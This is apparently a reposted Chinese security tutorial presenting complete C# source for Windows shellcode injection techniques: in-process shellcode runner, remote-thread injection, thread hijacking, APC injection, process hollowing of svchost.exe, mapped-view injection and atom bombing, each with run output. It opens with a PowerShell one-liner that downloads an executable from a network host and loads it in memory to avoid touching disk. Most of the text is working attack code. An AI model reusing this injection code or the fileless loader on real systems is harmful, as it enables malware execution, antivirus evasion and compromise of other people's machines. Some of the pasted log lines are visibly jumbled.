如果您想避免将 .Net 二进制文件写入磁盘,您可以使用PowerShell 。
$bytes = (Invoke-WebRequest "http://192.168.1.228/ShellcodeInjectionTechniques.exe").Content;
$assembly = [System.Reflection.Assembly]::Load($bytes);
$entryPointMethod = $assembly.GetType('ShellcodeInjectionTechniques.Program', [Reflection.BindingFlags] 'Public, NonPublic').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic');
$entryPointMethod.Invoke($null, (, [string[]] ('', '')));
Shellcode Runner
ShellcodeRunner.cs
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;
using static ShellcodeInjectionTechniques.Native;
namespace ShellcodeInjectionTechniques
{
class ShellcodeRunner : ITechnique
{
private delegate void ShellcodeDelegate();
public void Run(Process target, byte[] shellcode)
{
unsafe
{
fixed (byte* ptr = shellcode)
{
// set the memory where the shellcode is to PAGE_EXECUTE_READWRITE
IntPtr memoryAddress = (IntPtr)ptr;
VirtualProtect(memoryAddress, (UIntPtr)shellcode.Length, MemoryProtection.PAGE_EXECUTE_READWRITE, out MemoryProtection lpfOldProtect);
Debug("[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x{0}", new string[] { memoryAddress.ToString("X") });
// execute the shellcode using a delegate function
Debug("[+] Executing shellcode - memory address: 0x{0}", new string[] { memoryAddress.ToString("X") });
ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));
func();
}
}
}
}
}
这种技术严格来说并不是一种注入技术(因为我们在同一进程中执行 shellcode),而是所有技术中最简单的一种。我们确保 shellcode 在unsafe
上下文中使用固定的内存位置。我们更改了 shellcode 所在页面的保护,以便我们可以执行它。然后我们使用 C# 委托函数来执行 shellcode。
[ ] Using technique: ShellcodeInjectionTechniques.ShellcodeRunner
[set to PAGE_EXECUTE_READWRITE, shellcode address: 0x20D000418E0 ] VirtualProtect() -
[0x20D000418E0 ] Executing shellcode - memory address:
Classic Injection
ClassicInjection.cs
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;
using static ShellcodeInjectionTechniques.Native;
namespace ShellcodeInjectionTechniques
{
class ClassicInjection : ITechnique
{
public void Run(Process target, byte[] shellcode)
{
// allocate some memory for our shellcode
IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE);
Debug("[+] VirtualAllocEx(), assigned: 0x{0}", new string[] { pAddr.ToString("X") });
// write the shellcode into the allocated memory
Debug("[+] WriteProcessMemory() - remote address: 0x{0}", new string[] { pAddr.ToString("X") });
WriteProcessMemory(target.Handle, pAddr, shellcode, shellcode.Length, out IntPtr lpNumberOfBytesWritten);
// create the remote thread
IntPtr hThread = CreateRemoteThread(target.Handle, IntPtr.Zero, 0, pAddr, IntPtr.Zero, ThreadCreationFlags.NORMAL, out hThread);
Debug("[+] CreateRemoteThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
}
}
}
此技术在目标进程中分配内存,注入 shellcode 并启动一个新线程。
[+] Found process: 24484
[+] Using technique: ShellcodeInjectionTechniques.ClassicInjection
[+] VirtualAllocEx(), assigned: 0x23642220000
[+] WriteProcessMemory() - remote address: 0x23642220000
[+] CreateRemoteThread() - thread handle: 0x380
线程劫持
ThreadHijack.cs
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;
using static ShellcodeInjectionTechniques.Native;
namespace ShellcodeInjectionTechniques
{
class ThreadHijack : ITechnique
{
public void Run(Process target, byte[] shellcode)
{
ProcessThread thread = GetThread(target.Threads);
Debug("[+] Found thread: {0}", new string[] { thread.Id.ToString() });
// get a handle to the thread
IntPtr hThread = OpenThread(ThreadAccess.GET_CONTEXT | ThreadAccess.SET_CONTEXT, false, (UInt32)thread.Id);
Debug("[+] OpenThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
// allocate some memory for our shellcode
IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE);
Debug("[+] VirtualAllocEx(), assigned: 0x{0}", new string[] { pAddr.ToString("X") });
// write the shellcode into the allocated memory
Debug("[+] WriteProcessMemory() - remote address: 0x{0}", new string[] { pAddr.ToString("X") });
WriteProcessMemory(target.Handle, pAddr, shellcode, shellcode.Length, out IntPtr lpNumberOfBytesWritten);
Debug("[+] SuspendThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
SuspendThread(hThread);
//CONTEXT_ALL = 0x10001F
CONTEXT64 ctx = new CONTEXT64();
ctx.ContextFlags = 0x10001F;
// get the thread context - we are looking to manipulate the instruction pointer register
Debug("[+] GetThreadContext() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
if(!GetThreadContext(hThread, ref ctx))
{
Console.WriteLine("[!] Error: {0}", GetLastError());
return;
}
Debug("[+] RIP is: 0x{0}", new string[] { ctx.Rip.ToString("X") });
// point the instruction pointer to our shellcode
ctx.Rip = (ulong)pAddr;
// set the thread context (update the registers)
Debug("[+] SetThreadContext(), RIP assigned: 0x{0}", new string[] { pAddr.ToString("X") });
SetThreadContext(hThread, ref ctx);
Debug("[+] ResumeThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
ResumeThread(hThread);
}
ProcessThread GetThread(ProcessThreadCollection threads)
{
// find a thread
// it is very likely that the process you are hijacking will be unstable as 0 is probably the main thread
return threads[0];
/*
// you could loop through the threads looking for a better one
foreach(ProcessThread thread in threads)
{
}
*/
}
}
}
该技术通过将代码注入目标进程来劫持线程,挂起被劫持的线程,将指令指针 (RIP) 设置为我们注入的代码,然后恢复线程。
[11508 ] Found process:
[ ] Using technique: ShellcodeInjectionTechniques.ThreadHijack
[9344 ] Found thread:
[0x378 ] OpenThread() - thread handle:
[0x1D17AB80000 ] VirtualAllocEx(), assigned:
[0x1D17AB80000 ] WriteProcessMemory() - remote address:
[0x378 ] SuspendThread() - thread handle:
[0x378 ] GetThreadContext() - thread handle:
[is: 0x7FFA77D21104 ] RIP
[0x1D17AB80000 ] SetThreadContext(), RIP assigned:
[0x378 ] ResumeThread() - thread handle:
本地线程劫持
LocalThreadHijack.cs
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;
using static ShellcodeInjectionTechniques.Native;
namespace ShellcodeInjectionTechniques
{
class LocalThreadHijack : ITechnique
{
public void Run(Process target, byte[] shellcode)
{
// create a new thread to hijack, in a suspended state
IntPtr hThread = CreateThread(IntPtr.Zero, 0, IntPtr.Zero, IntPtr.Zero, ThreadCreationFlags.CREATE_SUSPENDED, out hThread);
Debug("[+] CreateThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
unsafe
{
fixed (byte* ptr = shellcode)
{
// set the memory where the shellcode is to PAGE_EXECUTE_READWRITE
IntPtr memoryAddress = (IntPtr)ptr;
VirtualProtect(memoryAddress, (UIntPtr)shellcode.Length, MemoryProtection.PAGE_EXECUTE_READWRITE, out MemoryProtection lpfOldProtect);
Debug("[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x{0}", new string[] { memoryAddress.ToString("X") });
//CONTEXT_ALL = 0x10001F
CONTEXT64 ctx = new CONTEXT64();
ctx.ContextFlags = 0x10001F;
// get the thread context - we are looking to manipulate the instruction pointer register
Debug("[+] GetThreadContext() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
if (!GetThreadContext(hThread, ref ctx))
{
Console.WriteLine("[!] Error: {0}", GetLastError());
return;
}
Debug("[+] RIP is: 0x{0}", new string[] { ctx.Rip.ToString("X") });
// point the instruction pointer to our shellcode
ctx.Rip = (ulong)memoryAddress;
// set the thread context (update the registers)
Debug("[+] SetThreadContext(), RIP assigned: 0x{0}", new string[] { memoryAddress.ToString("X") });
SetThreadContext(hThread, ref ctx);
}
}
Debug("[+] ResumeThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
ResumeThread(hThread);
}
}
}
此技术创建一个处于挂起状态的新本地线程,然后我们劫持该线程,将指令指针 (RIP) 设置为我们注入的代码,然后恢复该线程。
[ ] Using technique: ShellcodeInjectionTechniques.LocalThreadHijack
[0x374 ] CreateThread() - thread handle:
[set to PAGE_EXECUTE_READWRITE, shellcode address: 0x270800418E0 ] VirtualProtect() -
[0x374 ] GetThreadContext() - thread handle:
[is: 0x7FFA79EE2630 ] RIP
[0x270800418E0 ] SetThreadContext(), RIP assigned:
[0x374 ] ResumeThread() - thread handle:
异步过程调用注入
ACPInjection.cs
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;
using static ShellcodeInjectionTechniques.Native;
namespace ShellcodeInjectionTechniques
{
class APCInjection : ITechnique
{
public void Run(Process target, byte[] shellcode)
{
ProcessThread thread = GetThread(target.Threads);
Debug("[+] Found thread: {0}", new string[] { thread.Id.ToString() });
// get a handle to the thread
IntPtr hThread = OpenThread(ThreadAccess.GET_CONTEXT | ThreadAccess.SET_CONTEXT, false, (UInt32)thread.Id);
Debug("[+] OpenThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
// allocate some memory for our shellcode
IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE);
Debug("[+] VirtualAllocEx(), assigned: 0x{0}", new string[] { pAddr.ToString("X") });
// write the shellcode into the allocated memory
Debug("[+] WriteProcessMemory() - remote address: 0x{0}", new string[] { pAddr.ToString("X") });
WriteProcessMemory(target.Handle, pAddr, shellcode, shellcode.Length, out IntPtr lpNumberOfBytesWritten);
// add an asynchronous procedure call
Debug("[+] QueueUserAPC() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
QueueUserAPC(pAddr, hThread, IntPtr.Zero);
}
ProcessThread GetThread(ProcessThreadCollection threads)
{
// find a thread
// it is very likely that the process you are hijacking will be unstable as 0 is probably the main thread
return threads[0];
/*
// you could loop through the threads looking for a better one
foreach(ProcessThread thread in threads)
{
}
*/
}
}
}
该技术类似于线程劫持技术,我们将 shellcode 注入远程线程,然后在线程中排队一个 APC 对象。当线程进入警报状态时
当它调用SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, 或WaitForSingleObjectEx
它运行由我们排队的 APC 对象指向的 shellcode。
[+] Found process: 25320
[+] Using technique: ShellcodeInjectionTechniques.APCInjection
[+] Found thread: 23796
[+] OpenThread() - thread handle: 0x378
[+] VirtualAllocEx(), assigned: 0x24E064D0000
[+] WriteProcessMemory() - remote address: 0x24E064D0000
[+] QueueUserAPC() - thread handle: 0x378
Process Hollowing
ProcessHollow.cs
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;
using static ShellcodeInjectionTechniques.Native;
namespace ShellcodeInjectionTechniques
{
class ProcessHollow : ITechnique
{
public void Run(Process target, byte[] shellcode)
{
// Create a new process in a suspended state
STARTUPINFO lpStartupInfo = new STARTUPINFO();
PROCESS_INFORMATION lpProcessInformation = new PROCESS_INFORMATION();
CreateProcess(null, "C:\Windows\System32\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED | ProcessCreationFlags.CREATE_NO_WINDOW, IntPtr.Zero, null, ref lpStartupInfo, out lpProcessInformation);
Debug("[+] CreateProcess(): C:\Windows\System32\svchost.exe");
// locate the PEB inside the process
PROCESS_BASIC_INFORMATION procInformation = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = lpProcessInformation.hProcess;
ZwQueryInformationProcess(hProcess, 0x0, ref procInformation, (uint)(IntPtr.Size * 6), ref tmp);
// locate the image base - PEB + 0x10
IntPtr ptrToImageBase = (IntPtr)((Int64)procInformation.PebAddress + 0x10);
Debug("[+] Pointer to ImageBase: 0x{0}", new string[] { ptrToImageBase.ToString("X") } );
// read the process memory
byte[] addrBuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
Debug("[+] ReadProcessMemory() - image base pointer: 0x{0}", new string[] { ptrToImageBase.ToString("X") });
// locate svchost base, converted to a 64-bit integer then cast to an IntPtr
IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
Debug("[+] ImageBase: 0x{0}", new string[] { svchostBase.ToString("X") });
// read the memory location to get the entry point from the PE header
byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);
Debug("[+] ReadProcessMemory() - svchost base: 0x{0}", new string[] { svchostBase.ToString("X") });
uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);
uint opthdr = e_lfanew_offset + 0x28;
uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);
IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);
Debug("[+] EntryPoint: 0x{0}", new string[] { ptrToImageBase.ToString("X") });
WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nRead);
Debug("[+] WriteProcessMemory(): 0x{0}", new string[] { addressOfEntryPoint.ToString("X") });
Debug("[+] ResumeThread() - thread handle: 0x{0}", new string[] { lpProcessInformation.hThread.ToString("X") });
ResumeThread(lpProcessInformation.hThread);
}
}
}
该技术启动另一个处于挂起状态的进程(svchost.exe),找到主线程入口点,将我们的 shellcode 注入其中,然后恢复线程。
[ ] Using technique: ShellcodeInjectionTechniques.ProcessHollow
[ ] CreateProcess(): C:WindowsSystem32svchost.exe
[0xD31E956010 ] Pointer to ImageBase:
[base pointer: 0xD31E956010 ] ReadProcessMemory() - image
[0x7FF6116C0000 ] ImageBase:
[base: 0x7FF6116C0000 ] ReadProcessMemory() - svchost
[0xD31E956010 ] EntryPoint:
[0x7FF6116C4E80 ] WriteProcessMemory():
[0x454 ] ResumeThread() - thread handle:
Inter-Process Mapped View
InterProcessMappedView.cs
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;
using static ShellcodeInjectionTechniques.Native;
namespace ShellcodeInjectionTechniques
{
class InterProcessMappedView : ITechnique
{
public void Run(Process target, byte[] shellcode)
{
IntPtr hSectionHandle = IntPtr.Zero;
IntPtr pLocalView = IntPtr.Zero;
UInt64 size = (UInt32)shellcode.Length;
// create a new section to map view to
UInt32 result = NtCreateSection(ref hSectionHandle, SectionAccess.SECTION_ALL_ACCESS, IntPtr.Zero, ref size, MemoryProtection.PAGE_EXECUTE_READWRITE, MappingAttributes.SEC_COMMIT, IntPtr.Zero);
if (result != 0)
{
Debug("[!] Unable to map view of section: {0}", new string[] { ((NTSTATUS)result).ToString() });
return;
}
else
Debug("[+] NtCreateSection() - section handle: 0x{0}", new string[] { hSectionHandle.ToString("X") });
// create a local view
const UInt32 ViewUnmap = 0x2;
UInt64 offset = 0;
result = NtMapViewOfSection(hSectionHandle, (IntPtr)(-1), ref pLocalView, UIntPtr.Zero, UIntPtr.Zero, ref offset, ref size, ViewUnmap, 0, MemoryProtection.PAGE_READWRITE);
if (result != 0)
{
Debug("[!] Unable to map view of section: {0}", new string[] { ((NTSTATUS)result).ToString() });
return;
}
else
Debug("[+] NtMapViewOfSection() - local view: 0x{0}", new string[] { pLocalView.ToString("X") });
// copy shellcode to the local view
Marshal.Copy(shellcode, 0, pLocalView, shellcode.Length);
Debug("[+] Marshalling shellcode");
// create a remote view of the section in the target
IntPtr pRemoteView = IntPtr.Zero;
NtMapViewOfSection(hSectionHandle, target.Handle, ref pRemoteView, UIntPtr.Zero, UIntPtr.Zero, ref offset, ref size, ViewUnmap, 0, MemoryProtection.PAGE_EXECUTE_READ);
Debug("[+] NtMapViewOfSection() - remote view: 0x{0}", new string[] { pRemoteView.ToString("X") });
// execute the shellcode
IntPtr hThread = IntPtr.Zero;
CLIENT_ID cid = new CLIENT_ID();
RtlCreateUserThread(target.Handle, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr.Zero, pRemoteView, IntPtr.Zero, ref hThread, cid);
Debug("[+] RtlCreateUserThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
}
}
}
该技术在内存中创建一个新部分,创建该部分的本地映射视图,将我们的 shellcode 复制到本地映射视图中,并在目标进程中创建本地映射视图的远程映射视图。最后,我们在目标进程中创建一个新线程,以映射视图作为入口点。
[+] Found process: 23740
[+] Using technique: ShellcodeInjectionTechniques.InterProcessMappedView
[+] NtCreateSection() - section handle: 0x37C
[+] NtMapViewOfSection() - local view: 0x20CB8E40000
[+] Marshalling shellcode
[+] NtMapViewOfSection() - remote view: 0x22D90310000
[+] RtlCreateUserThread() - thread handle: 0x384
Atom Bombing
AtomBomb.cs
using System;
using System.Text;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Diagnostics;
using static ShellcodeInjectionTechniques.Debugger;
using static ShellcodeInjectionTechniques.Native;
using static ShellcodeInjectionTechniques.AesHelper;
namespace ShellcodeInjectionTechniques
{
class PageHelper
{
public IntPtr BaseAddress { get; set; }
public Int32 RegionSize { get; set; }
public PageHelper(IntPtr baseAddress, Int32 regionSize)
{
BaseAddress = baseAddress;
RegionSize = regionSize;
}
}
class AtomBomb : ITechnique
{
public void Run(Process target, byte[] shellcode)
{
ProcessThread thread = GetThread(target.Threads);
Debug("[+] Found thread: {0}", new string[] { thread.Id.ToString() });
// get a handle to the thread
IntPtr hThread = OpenThread(ThreadAccess.GET_CONTEXT | ThreadAccess.SET_CONTEXT, false, (UInt32)thread.Id);
Debug("[+] OpenThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") });
// need to find a remote page we can write to
PageHelper[] pWritablePages = FindWritablePages(target.Handle, thread.StartAddress);
//FindWritablePage(target.Handle, thread.StartAddress);
if (pWritablePages.Length == 0)
{
Debug("[!] Unable to find writable page!");
return;
}
else
Debug("[+] FindWritablePages() - number found: {0}", new string[] { pWritablePages.Length.ToString() });
// try to find a code cave in the writable pages to atom bomb our shellcode
IntPtr pWritable = IntPtr.Zero;
for (int i = 0; i < pWritablePages.Length; i++)
{
pWritable = FindCodeCave(target.Handle, pWritablePages[i].BaseAddress, shellcode.Length, pWritablePages[i].RegionSize);
if (pWritable != IntPtr.Zero)
break;
}
// we did not find a suitable code cave
if (pWritable == IntPtr.Zero)
{
Debug("[!] Unable to find a suitable code cave!");
return;
}
else
Debug("[+] Found a suitable code cave - pWritable: 0x{0}", new string[] { pWritable.ToString("X") });
IntPtr codeCave = pWritable;
// get the proc address - GlobalGetAtomNameA
IntPtr pGlobalGetAtomNameW = GetProcAddress(GetModuleBaseAddress("kernel32.dll"), "GlobalGetAtomNameW");
Debug("[+] GetProcAddress() - pGlobalGetAtomNameW: 0x{0}", new string[] { pGlobalGetAtomNameW.ToString("X") });
// define a chunk size to write our atom names (note: an atom name can be 255 max size)
Int32 chunkSize = 200;
// add the atom names as shellcode chunks of length chunkSize - including the terminating null byte
Int32 sections = (shellcode.Length / chunkSize) + 1;
// loop through the sections and add the shell code as atom names
for (int i = 0; i < sections; i++)
{
// get the next shellcode chunk
byte[] tmpBytes = SubArray(shellcode, i * chunkSize, chunkSize);
byte[] shellcodeChunk = new byte[tmpBytes.Length + 1];
// add a null byte to the end
Buffer.BlockCopy(tmpBytes, 0, shellcodeChunk, 0, tmpBytes.Length);
Buffer.BlockCopy(new byte[1] { 0x00 }, 0, shellcodeChunk, tmpBytes.Length, 1);
// add the shellcode to the global atom table
unsafe
{
fixed (byte* ptr = shellcodeChunk)
{
UInt16 ATOM = GlobalAddAtomW((IntPtr)ptr);
Debug("[+] GlobalAddAtom() - ATOM: 0x{0}", new string[] { ATOM.ToString("X") });
// queue the APC thread
NtQueueApcThread(hThread, pGlobalGetAtomNameW, ATOM, pWritable, chunkSize * 2);
Debug("[+] NtQueueApcThread() - pWritable: 0x{0}", new string[] { pWritable.ToString("X") });
// increment to the next writable memory location
pWritable += chunkSize;
}
}
}
IntPtr pVirtualProtect = GetProcAddress(GetModuleBaseAddress("kernel32.dll"), "VirtualProtect");
Debug("[+] GetProcAddress() - pVirtualProtect: 0x{0}", new string[] { pVirtualProtect.ToString("X") });
NtQueueApcThread(hThread, pVirtualProtect, (UInt32)codeCave, (IntPtr)shellcode.Length, (Int32)(MemoryProtection.PAGE_EXECUTE_READWRITE));
Debug("[+] NtQueueApcThread() PAGE_EXECUTE_READWRITE - codeCave: 0x{0}", new string[] { codeCave.ToString("X") });
QueueUserAPC(codeCave, hThread, IntPtr.Zero);
Debug("[+] QueueUserAPC() - codeCave: 0x{0}", new string[] { codeCave.ToString("X") });
}
ProcessThread GetThread(ProcessThreadCollection threads)
{
// find a thread
// it is very likely that the process you are hijacking will be unstable as 0 is probably the main thread
return threads[0];
/*
// you could loop through the threads looking for a better one
foreach(ProcessThread thread in threads)
{
}
*/
}
PageHelper[] FindWritablePages(IntPtr hProcess, IntPtr threadStartAddress)
{
Int32 size;
List<PageHelper> pages = new List<PageHelper>();
while (true)
{
try
{
// query the memory region to see if it is readable and writable, and grab the region size
size = VirtualQueryEx(hProcess, threadStartAddress, out MEMORY_BASIC_INFORMATION lpBuffer, (UInt32)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION)));
if (size != 0)
{
// we need readable and writable pages to find a code cave and write our shellcode to
string pageProtection = Enum.GetName(typeof(MemoryProtection), lpBuffer.Protect);
if (pageProtection.Contains("WRITE") && pageProtection.Contains("READ"))
pages.Add(new PageHelper(lpBuffer.BaseAddress, (Int32)lpBuffer.RegionSize));
// move to the next page
threadStartAddress = IntPtr.Add(threadStartAddress, (Int32)lpBuffer.RegionSize);
}
else
continue;
}
catch
{
break;
}
}
return pages.ToArray();
}
IntPtr FindCodeCave(IntPtr hProcess, IntPtr startAddress, int size, int regionSize)
{
// byte array to hold the read memory
byte[] areaToSearch = new byte[regionSize];
// the region in memory so we can search it for a code cave
if (!ReadProcessMemory(hProcess, startAddress, areaToSearch, regionSize, out IntPtr lpNumberOfBytesRead))
{
// this shouldnt happen but if it does just return zero
return IntPtr.Zero;
}
// look for a code cave
for (int i = 0; i < (Int32)lpNumberOfBytesRead; i++)
{
// find the start of a possible code cave
if (areaToSearch[i] != 0x00)
continue;
// if we are nearing the end of the region just return zero
if (i + size >= (Int32)lpNumberOfBytesRead)
return IntPtr.Zero;
// now we need to check to see if there are enough consecutive zeros to put our shellcode
bool found = false;
for(int j = i; j < i + size; j++)
{
if (areaToSearch[j] != 0x00)
{
i = j;
break;
}
else
{
// we have a code cave
if (j == i + (size - 1))
{
found = true;
break;
}
}
}
// return the code cave address
if (found)
return IntPtr.Add(startAddress, i);
}
return IntPtr.Zero;
}
IntPtr GetModuleBaseAddress(string name)
{
Process hProc = Process.GetCurrentProcess();
foreach (ProcessModule m in hProc.Modules)
{
if (m.ModuleName.ToUpper().StartsWith(name.ToUpper()))
return m.BaseAddress;
}
// we can't find the base address
return IntPtr.Zero;
}
}
}
这项技术它允许我们写入最大大小为 255 字节的空终止字符串。找到一个代码洞来写入 shellcode,然后使用 APC 调用来触发目标进程将Atom Names读入内存。最后,使用几个APC调用来改变目标进程的内存保护并执行shellcode。
首先,这段代码需要主线程进入alertable状态才能执行APC队列。使用多个 APC 将 Atom Names 链接在一起,以形成大于 255 字节的 shellcode。不使用 ROP 链来强制目标进程调用VirtualProtect
然后执行代码,使用 APC 队列。
[+] Found process: 14140
[+] Using technique: ShellcodeInjectionTechniques.AtomBomb
[+] Found thread: 5940
[+] OpenThread() - thread handle: 0xD0
[+] FindWritablePages() - number found: 2
[+] Found a suitable code cave - pWritable: 0x2CE60031
[+] GetProcAddress() - pGlobalGetAtomNameW: 0x7FFE20EB2680
[+] GlobalAddAtom() - ATOM: 0xC091
[+] NtQueueApcThread() - pWritable: 0x2CE60031
[+] GlobalAddAtom() - ATOM: 0xC06F
[+] NtQueueApcThread() - pWritable: 0x2CE600F9
[+] GlobalAddAtom() - ATOM: 0xC080
[+] NtQueueApcThread() - pWritable: 0x2CE601C1
[+] GlobalAddAtom() - ATOM: 0xC088
[+] NtQueueApcThread() - pWritable: 0x2CE60289
[+] GlobalAddAtom() - ATOM: 0xC084
[+] NtQueueApcThread() - pWritable: 0x2CE60351
[+] GetProcAddress() - pVirtualProtect: 0x7FFE20EBBC70
[+] NtQueueApcThread() PAGE_EXECUTE_READWRITE - codeCave: 0x2CE60031
[+] QueueUserAPC() - codeCave: 0x2CE60031
原文始发于微信公众号(Khan安全攻防实验室):跟我学跟我学 – Shellcode注入技术